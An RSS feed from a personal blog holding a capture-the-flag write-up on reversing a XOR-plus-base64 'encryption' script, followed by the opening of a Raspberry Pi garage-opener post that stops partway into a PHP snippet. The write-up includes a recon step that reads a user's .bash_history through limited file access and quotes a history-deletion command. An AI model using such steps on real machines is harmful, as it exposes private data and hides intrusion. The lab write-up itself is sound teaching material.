<?xml version="1.0" encoding="UTF-8"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>PenguinCoder - Musings of Mayhem</title><link>https://blog.penguincoder.com</link><language>en-us</language><description>Open Source musings; from intel to programming and more</description><lastBuildDate>14 Aug 2022 20:34 -0500</lastBuildDate><atom:link href="https://blog.penguincoder.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Capture the flag - Encrypted encoding</title><link>https://blog.penguincoder.com/encodingCTF/</link><guid>https://blog.penguincoder.com/encodingCTF/</guid><pubDate>15 Aug 2022 00:00 +0000</pubDate><description>&lt;p&gt;Recently came across a capture the flag exercise that was slightly more involved and pretty fun. I wanted to share my thought process for figuring this out and getting the flag.&lt;/p&gt;

&lt;p&gt;Part of this excercise was gaining access to a machine and gaining the ability to run certain/specific commands. That was part one, which was certainly interesting, but I’m only sharing part two, below. This has more applicable blue-team knowledge and was more fun to me than the first part. Part two involved finding a file and ‘decrypting’ the content. After gaining access to the device, the ability to echo out or &lt;code&gt;cat&lt;/code&gt; was gained. Attempts to run other commands like &lt;code&gt;ls&lt;/code&gt; or &lt;code&gt;sh&lt;/code&gt; to gain a shell were unsuccessful given the limited scope and access. &lt;strong&gt;BUT&lt;/strong&gt; having the ability to pass a filename and get the contents echoed back out, was the key. My first recon step was to try and get the output of the users &lt;code&gt;.bash_history&lt;/code&gt;, basically a &lt;code&gt;cat ~/.bash_history&lt;/code&gt;, which showed the following:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;m&quot;&gt;1975&lt;/span&gt; ~/.encrypt.py
&lt;span class=&quot;m&quot;&gt;1976&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;history&lt;/span&gt; -d  0-&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$HISTCMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;m&quot;&gt;1977&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Since the history doesn’t show it, I presume the .encrypt.py script was uploaded via another undetermined method. Using the method I discovered to show file content, I echoed the contents of the &lt;code&gt;.encrypt.py&lt;/code&gt; that was run&lt;/p&gt;

&lt;h4&gt;.encrypt.py&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;stringtoencode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Please enter the message to Encrypt:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;randomxorkey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;encodedString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randomxorkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stringtoencode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;encodedString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randomxorkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;encrypted.txt&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;wb&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encodedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;vm&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__main__&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Interesting file… it has no &lt;a href=&quot;https://linuxhandbook.com/shebang/&quot;&gt;shebang&lt;/a&gt; line to say what type of script it is, but looks like a Python script given the file extension, whitespace and imports. Based off that assumption we can tell the &lt;code&gt;with open()&lt;/code&gt; statement is writing the following statments/process to a file named &lt;code&gt;encrypted.txt&lt;/code&gt;. So, using the previous exploit to read a file, is the flag what’s in encrypted.txt?&lt;/p&gt;

&lt;h4&gt;encrypted.txt&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;zLeYpKW/hb+Vo7m+iqCtq7GJoq+jqKWiq5Olv5Oio7iTqaKvvrW8uKWjou0=
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Oh boy, that looks like simple enough base64 but no flag format. Alas, trying to decode it as a base64 gives us… absolutely nothing. Nil, no bytearray; nothing. Let’s review the encrypt.py script and try to better understand and decipher more of what it is doing to try and reverse this output.&lt;/p&gt;

&lt;h3&gt;Explain it to me&lt;/h3&gt;

&lt;p&gt;Looking at the functions, we see one primary function &lt;code&gt;main()&lt;/code&gt; with an argument. The line &lt;code&gt;if __name__ == &amp;#34;__main__&amp;#34;:&lt;/code&gt; is pythonese to determine if the script execution is being run as the primary/main module. If so, it then executes the code block, in this case the &lt;code&gt;main()&lt;/code&gt; function. To main we go! Looks like it sets a few variables first, one of which is the string value supplied by a user executing the script. The script was run without any arguments, then accepted input from the user directly. That type of input doesn’t show up in &lt;code&gt;.bash_history&lt;/code&gt;, but we know they ran the script based on the command history and the presence of the output file as defined in the script. There was no arguments passed to the script, but the script itself shows an argument being passed to &lt;code&gt;main()&lt;/code&gt; as being the first argument to the script itself. Weird, the bash history didn’t show any arguments being passed. In that case, the &lt;code&gt;argv&lt;/code&gt; array would be empty. It doesn’t appear that the parameter passed to main is actually used anywhere else in the function; no idea why it’s there.&lt;/p&gt;

&lt;p&gt;After setting a variable to the input from the user, the encrypt.py script sets another variable, &lt;code&gt;randomxorkey&lt;/code&gt; to a random value from the 1-255 range. Next, it assignes an array to a different variable, where the first value/element is the randomly chosen integer of &lt;code&gt;randomxorkey&lt;/code&gt;. Then a for loop that iterates over the user input string. In python, you can iterate over each character in a string and run some block of code for each character in that string. Strings in python are iterable! Not just arrays/lists/dictionaries. So what is this block of code doing to every character in the input string?  I know already that &lt;code&gt;encodedString&lt;/code&gt; is an array, so in this loop it is being appended to. What’s being appended is… &lt;code&gt;ord()&lt;/code&gt; of the character in the string, with &lt;code&gt;^&lt;/code&gt; of the randomxorkey value. What is &lt;code&gt;ord()&lt;/code&gt; ? What is &lt;code&gt;^&lt;/code&gt; ?&lt;/p&gt;

&lt;p&gt;The Python ord() function converts a given character/string into an integer that represents the Unicode code of the character. &lt;code&gt;^&lt;/code&gt; is the binary XOR Operator.  &lt;code&gt;^&lt;/code&gt; performs logical XOR on each bit position on the binary representations of integers, which evaluates to 1 if and only if exactly one of the two input bits at the same position are 1. In this script, it is taking the integer value &lt;code&gt;ord()&lt;/code&gt; of a character from the input string, and XORing it with the randomxorkey. This resulting changed integer value is appended to the encodedString array. What this shows is that the encrypted.txt file isn’t actually encrypted, it’s encoded! Encoding transforms &lt;a href=&quot;https://blog.penguincoder.com/obfuscated-powershell/&quot;&gt;data into another format&lt;/a&gt; using a known reversible scheme so that it can be easily transferred or stored. Encryption is for maintaining data confidentiality and thus the ability to reverse cipher are limited to those who have the known key. We should be able to get plaintext from this without needing a ‘key’, just need to figure out the random XOR value that was used. &lt;em&gt;COULD&lt;/em&gt; bruteforce that due to the low range, but lets do it a better way.&lt;/p&gt;

&lt;p&gt;Next, the script opens a file handle using the &lt;code&gt;with open()&lt;/code&gt; statement and writes the encodedString array to the file. Because of the &lt;code&gt;with&lt;/code&gt; statement, Python automatically handles closing the file without an explict &lt;code&gt;close()&lt;/code&gt; needed. But, it’s not just writing the encodedString array to the file! It appears to be base64 encoding the array &lt;em&gt;first&lt;/em&gt; then writing it to the file. So &lt;code&gt;encrypted.txt&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; a base64 encoded string. But why wasn’t anything decoded from our earlier attempt? How do we get that plain text back if we don’t actually know the original XOR key? &lt;strong&gt;Right&lt;/strong&gt;, first element isn’t really part of the encodedString. It is the value of the XOR key, the integer that the rest of the characters in the string were XOR’d with. We need to extract that value from the output first, and then use it to decode the rest of the string. The opposite of an XOR is also XOR. By XORing the characters ORD with the XOR value again and converting that to the &lt;code&gt;chr()&lt;/code&gt; representation, we should get the plaintext value and thus the inputString/Flag.&lt;/p&gt;

&lt;h3&gt;Reverse engineering&lt;/h3&gt;

&lt;p&gt;Here’s what an attempt at reversing that input via my own python script looks like:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;ch&quot;&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;argparse&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;parser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argparse&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ArgumentParser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Decode&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; given file&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;parser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add_argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;-f&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;--file&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;encrypted.txt&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Path to file to read and decode&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;rb&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encfile&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;b64Bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;xorValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64Bytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;encStr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xorValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b64Bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encStr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;vm&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__main__&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This script will read in the file passed as an argument or default file of &lt;code&gt;encrypted.txt&lt;/code&gt;, and base64 decode it. Again reading the &lt;code&gt;.encrypt.py&lt;/code&gt; script, I expect the first two bytes of the array to be the XOR value. Due to the way python handles base64 and written to file, it’ll be in a bytearray form not a plain integer, so we need to read in the first 2 bytes &lt;em&gt;for hex value&lt;/em&gt; and convert it to an int in the same base. Converting the bytearray of the base64 input from file to a hex() string for parsing, we then use &lt;code&gt;int(value, 16)&lt;/code&gt; to parse that hex value into a base16 INT. Setting that to the xorValue variable, now we can use it to reverse the encoded string back to plaintext. &lt;code&gt;xorValue&lt;/code&gt; should now contain the value that was set by the &lt;code&gt;.encrypt.py&lt;/code&gt; script for the initial encoding, derived from the encrypted.txt. Next my script does a fancy Pythonese oneliner. The opposite of &lt;code&gt;ord()&lt;/code&gt; &lt;em&gt;from the intial .encrypt.py script&lt;/em&gt;, is &lt;code&gt;chr()&lt;/code&gt;; it takes the integer representation and converts it to a unicode character which in this case should be plaintext. Can’t forget the &lt;code&gt;xorValue&lt;/code&gt;! Again, reversing the script and method for my own script and methods. This part of my script does that for loop over the array in oneline, then combines the resulting array into a string value. Finally, printing the end result of the decoded string value. Python is very succint in this manner.  Lets run my custom script and see what the result is:&lt;/p&gt;

&lt;h4&gt;Flag bearer&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;$ ./flagbearer.py 
&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;ThisIsYourFlag&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;Encoding_is_not_encryption!
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Sweet! There’s our flag.&lt;/p&gt;
</description></item><item><title>Raspberry PI garage door opener - Part 2</title><link>https://blog.penguincoder.com/garage-opener-2/</link><guid>https://blog.penguincoder.com/garage-opener-2/</guid><pubDate>20 Nov 2021 00:00 +0000</pubDate><description>&lt;h3&gt;Project recap&lt;/h3&gt;

&lt;p&gt;Having completed the &lt;a href=&quot;/garage-opener-1&quot;&gt;hardware portion&lt;/a&gt; of this project, I now moved onto the software glue code to get it operational.&lt;/p&gt;

&lt;h5&gt;Software&lt;/h5&gt;

&lt;ul&gt;
&lt;li&gt;Custom golang processing program

&lt;ul&gt;
&lt;li&gt;Using &lt;a href=&quot;https://github.com/stianeikeland/go-rpio&quot;&gt;GO-RPIO&lt;/a&gt; as GPIO interface&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;SMS gateway - SignalWire&lt;/li&gt;
&lt;li&gt;PHP script for web page&lt;/li&gt;
&lt;li&gt;Nginx web server&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;The R-PI&lt;/h3&gt;

&lt;p&gt;I got a &lt;a href=&quot;https://www.raspberrypi.com/products/raspberry-pi-zero-w/&quot;&gt;raspberry pi zero W&lt;/a&gt; to use for this project. I installed Raspbian Lite as I didn’t need it to be doing much other than ‘listen and interact with GPIO’. You could use a lighter distro here too, but this was one I was comfortable with and did what I need without a fuss. The only change I made &lt;strong&gt;after completion&lt;/strong&gt; of this project, was to change the filesystem to ‘overlay’ or a read-only filesystem. This should save a ton of wear and tear on the R-PI SD CARD and hopefully save it if the power goes out unexpectantly. This had to be done after the programming was completed and setup though. &lt;em&gt;Preferences–&amp;gt;Raspberry Pi Configuration–&amp;gt;Performance–&amp;gt;Overlay File System–Configure…&lt;/em&gt; and enable it, reboot.&lt;/p&gt;

&lt;h3&gt;SMS Gateway&lt;/h3&gt;

&lt;p&gt;I wanted my wife and family to be able to easily action the opener when needed. This meant quick and painless for them. For me it meant not spending time making a new dedicated app for the phone to do this. I also needed something a non technical person could use without obnoxious steps. Having a publically accessible web page with no authentication as a bookmark also didn’t appeal to me. Adding an extra step with basic auth to just open the garage door via a web page also wouldn’t be ease of use or go over well. So I needed to make it as easy as possible while being secure, to receive commands externally and action the response. We normally always have our phones with us already so I thought to make it SMS based.&lt;/p&gt;

&lt;p&gt;After doing some research and looking at options, I decided to use &lt;a href=&quot;https://signalwire.com/&quot;&gt;SignalWire&lt;/a&gt; for the SMS gateway portion. I’ve used them before for a &lt;a href=&quot;/phishing-smishing&quot;&gt;different project&lt;/a&gt; so felt comfortable in their service doing what I needed. Registering for an account and a phone number allows you to send or receive SMS with that number. Using signalwire you can enable the API, create a token and then setup Webhooks that can run when the number receives an SMS. For mine, I pointed it to a web page created just for this which authenticates the request and then sends it to my golang custom processing program to handle. Paying for the number itself and the SMS charges have been about $5 up front, and around $10 a year to maintain a balance. Extremely cost effective for what it enables! If you chose this route, you’ll need a domain name and a web server software running. I already had both, so no issues there.&lt;/p&gt;

&lt;h3&gt;Web presence handler&lt;/h3&gt;

&lt;p&gt;After receiving an SMS, Signalwire passes on details according to &lt;a href=&quot;https://docs.signalwire.com/&quot;&gt;their API docs&lt;/a&gt;. My web server with a public accessible domain is already running, I just needed to write something to handle the requests recieved. For this portion I used PHP as I was already using it for other purposes on the web server and was easy to integrate. The important parts are, authenticate the request, verify it is proper, do something based on the content and then send a reply that we’ve done something.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//Server variables we expect from signal wire
